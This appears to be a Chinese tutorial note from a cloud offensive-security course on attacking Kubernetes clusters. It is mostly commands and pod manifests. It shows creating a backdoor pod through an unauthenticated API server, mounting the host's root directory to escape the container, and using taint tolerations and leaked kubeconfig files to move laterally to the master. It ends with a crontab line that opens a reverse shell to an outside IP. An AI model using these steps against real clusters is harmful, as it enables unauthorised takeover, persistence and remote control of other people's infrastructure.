Day99:云上攻防-云原生篇&K8s安全&实战场景&攻击Pod&污点Taint&横向移动&容器逃逸

发布于:2024-04-17 ⋅ 阅读:(20) ⋅ 点赞:(0)

目录

云原生-K8s安全-横向移动-污点Taint

云原生-K8s安全-Kubernetes实战场景


知识点:

1、云原生-K8s安全-横向移动-污点Taint

2、云原生-K8s安全-Kubernetes实战场景

云原生-K8s安全-横向移动-污点Taint

如何判断实战中能否利用污点Taint?

设置污点

kubectl taint nodes node1 xtz=value1:NoSchedule

去除污点

kubectl taint nodes node1 xtz:NoSchedule-

节点说明中,查找 Taints 字段

拿到node节点权限时可以查看其他node主机或者master主机是否支持用Taint污点横向移动

kubectl describe nodes node-name  

云原生-K8s安全-Kubernetes实战场景

1、攻击Pod部署Web应用

Web应用部署:(struts2漏洞)

拉取靶场镜像

kubectl create deployment xiaodi --image=vulhub/struts2:2.3.28

查看pod容器的状态(归属节点、内部IP、运行状态等)

 kubectl get pods -o wide

启动靶场镜像服务

kubectl expose deploy xiaodi --port=8080 --target-port=8080 --type=NodePort

kubectl get pod,svc

利用Web漏洞拿下权限

探针当前Webshell环境是否是docker容器

两种情况:

  1. 纯在docker容器里
  2. 在k8s下的某个主机里的docker容器

ls -al /

但是这还没完,因为这个docker容器有很大可能会在k8s下面

cat /proc/1/cgroup

docker逃逸

工具地址:https://github.com/cdk-team/CDK

/tmp > chmod +x cdl
/tmp > ./cdk evalute

2、利用k8s-Api-Server未授权提交创建后门Pod

./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'

或者

./kubectl -s 10.96.0.1:443 create -f test.yaml
//test.yam就是{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}的值

查看后门pod是否创建

curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods

3、实现挂载目录宿主机逃逸

加参数绕过交互式

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host"
//host目录就是挂载目录,相当于宿主机的/目录,可以自定义的。

4、利用污点Taint横向移动

参考:https://cn-sec.com/archives/1336486.html

获取node节点详情

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes | grep Taints

或者

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes

cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: control-master-xiaodi  //自定义
spec:
 tolerations:
   - key: node-role.kubernetes.io/master  //这里要修改
     operator: Exists
     effect: NoSchedule
 containers:
   - name: control-master-xiaodi //自定义
     image: ubuntu:18.04
     command: ["/bin/sleep", "3650d"]
     volumeMounts:
      - name: master
        mountPath: /master //自定义
 volumes:
  - name: master
    hostPath:
     path: /
     type: Directory
EOF

创建一个新pod容器

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml

查看新建pod容器归属

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide

利用新建pod容器进行逃逸

./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master -- bash -c "ls /master"

反弹master控制端的shell

echo -e '* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n' >> /master/etc/crontab
//这里的master路径要注意与上面一致

5、利用Config泄漏横向移动

也可以利用节点泄漏的config横向移动节点

./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

./kubectl apply -f test.yaml -n default --kubeconfig=config

./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c "ls /mnt/root"